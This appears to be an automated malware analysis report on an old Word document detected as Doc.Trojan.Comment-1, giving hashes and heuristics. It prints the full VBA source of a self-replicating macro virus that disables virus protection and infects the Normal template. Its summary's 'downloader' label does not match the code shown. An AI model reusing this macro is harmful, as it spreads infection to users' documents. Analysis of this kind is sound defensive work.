Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b610da2a9fa5af6…

MALICIOUS

Office (OLE)

166.5 KB Created: 1999-10-12 12:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6874a07ef7c4c359b9a294c65072b93a SHA-1: e550ef3f61d3923738266c33962e98befdfc4142 SHA-256: 0b610da2a9fa5af60da7b41606a4fa27b4a4e9822301f97298a8eeffc53f7606
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that is designed to execute code upon opening the document. The macro appears to deobfuscate itself by removing lines starting with 'Rem' and then attempts to execute further code. This behavior is consistent with a macro-based downloader. The ClamAV detection of 'Doc.Trojan.Comment-1' further supports the malicious nature of the file.

Heuristics 4

  • ClamAV: Doc.Trojan.Comment-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Comment-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9983 bytes
SHA-256: af915be36628ec3169b8702592e6b3af666e19d6956b489affd72117c62df19d
Detection
ClamAV: Doc.Trojan.Comment-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Rem UTRWFHYTSPWUSUGFXXVRCBPBZHHYNEIAGKSVAPQWC
Private Sub Document_Open()
Call Comment
Rem JFLUCVTUVXVPHXVZDOSENTCCKKRDNRF
End Sub
Private Sub Document_Close()
Rem DWYOTVZUDYCMKGDQIRKICARXGXZFYKHBEMSAWA
Call Comment
End Sub
Private Sub Comment()
For V1 = 1 To ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Mid(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(V1, 1), 1, 1) = "'" Then
V2 = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(V1, 1)
V3 = (Mid(V2, 2, Len(V2)))
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.replaceline V1, V3
End If
Rem EALRBRYGPSVPTTPBGVAECGFKFMWKMGBYYVTTCWEAVEZ
Rem YJSFNTMEAGJVJRZLMUOGLYGBQMH
Rem EGHJUUQPENYJGNPOHSMZBONDCISJIDGJVMBRXDKSPCAUYTDMCPXMGUIGBJAHBIKLSHIRGCPVGCAUZCNZLBUVGXTUCJQM
Next V1
Rem CXHJKQGAOQVUEGUTIIMHZXKRQPTTFORTHJIQHSOLIKPEWWBMEQGCKCODLTMXSKKVHUXOLJJQAMRYPPGVKXG
CommentMacro = By_Lys_Kovick
'If ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 150 Then
'For W4 = 1 To ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
'W5 = Mid(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(W4, 1), 1, 3)
'If W5 = "Rem" Then ThisDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines W4, 1
'Next W4
'End If
'For W2 = 1 To ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Rem POEKOQCKHMTEAKY
Rem ZXKGGEWQDQXBHHHLSHLMJQ
'If ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(W2, 1) = "CommentMacro = By_Lys_Kovick" Then
'W3 = W2
'GoTo GotIt
'End If
'Next W2
'GotIt:
'For V4 = W3 + 1 To ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines - 1
'V5 = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(V4, 1)
Rem MCIDGOWWDVTQWQJUUDGGFONHYHSUKHTOORHILKAJTOTARMDSELDGFN
Rem RBOIQOBYNWPFNWWAQFDPAVXLZQVUSLVBTEIRMHFIUQLDGEJDFIYMLLNAULUDIRQVMLWASBQEAUKA
'ThisDocument.VBProject.VBComponents.Item(1).CodeModule.replaceline V4, "'" & V5
'Next V4
Rem WWGRTLXQBGWCDBLMUPKD
'For V5 = 1 To 20
Rem LKPBASZJFGLADFQKJKNOUUNI
'V6 = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
'V7 = Int(Rnd() * V6 + 1)
'V8 = Int(Rnd() * 99 + 1)
'For V9 = 1 To V8
'W1 = W1 + Chr$(Int((90 - 65 + 1) * Rnd + 65))
Rem LWUUGHEZZOBHIYWIZSTKUPOVFLUWCDAQOPLMFHOKPYPWXEM
'Next V9
'ThisDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines V7, "Rem " & W1
Rem XOTLQNSCAIPVXPIKIECQBAAAAEQFLDFEUOUHHWUUMMUNDBOXLFEAIEUEDXDQOOSLQXATJFAEBJYOOCIYDRFRWQTAOZVQHJHTTT
'W1 = ""
Rem ZZXWRLBGRLGFJWTORZOBSPACOIARPICOSWDVAPYNVWKOPESZNFVLZQIVPSIGITVGVVFJACANFXWIYNWBP
Rem KLVRWARVQJWSXJ
'Next V5
'Options.VirusProtection = 0
Rem LOGEMOZWBIONZCYTPRBVAQAZRIBSGQEJQRSDJRLDDJQVPPORMUFYBIIYKMKIOEHYHQWIUMBHV
'Options.SaveNormalPrompt = 0
Rem HAQC
'Options.ConfirmConversions = 0
'VM = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
'Set NT = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
'NT.DeleteLines 1, NT.CountOfLines
'NT.AddFromString VM
'Set AD = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
'AD.DeleteLines 1, AD.CountOfLines
'AD.AddFromString VM
'ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
Rem QGLEDEPIAISLSSTCNDYJOOHO
End Sub

' Processing file: /opt/analyzer/scan_staging/343084a622474f95b27d227437663bf9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 119735 bytes
' Line #0:
' 	Rem 0x002A " UTRWFHYTSPWUSUGFXXVRCBPBZHHYNEIAGKSVAPQWC"
' Line #1:
' 	FuncDefn (Private Sub Document_Open())
' Line #2:
' 	ArgsCall (Call) Comment 0x0000 
' Line #3:
' 	Rem 0x0020 " JFLUCVTUVXVPHXVZDOSENTCCKKRDNRF"
' Line #4:
' 	EndSub 
' Line #5:
' 	FuncDefn (Private Sub Document_Close())
' Line 
... (truncated)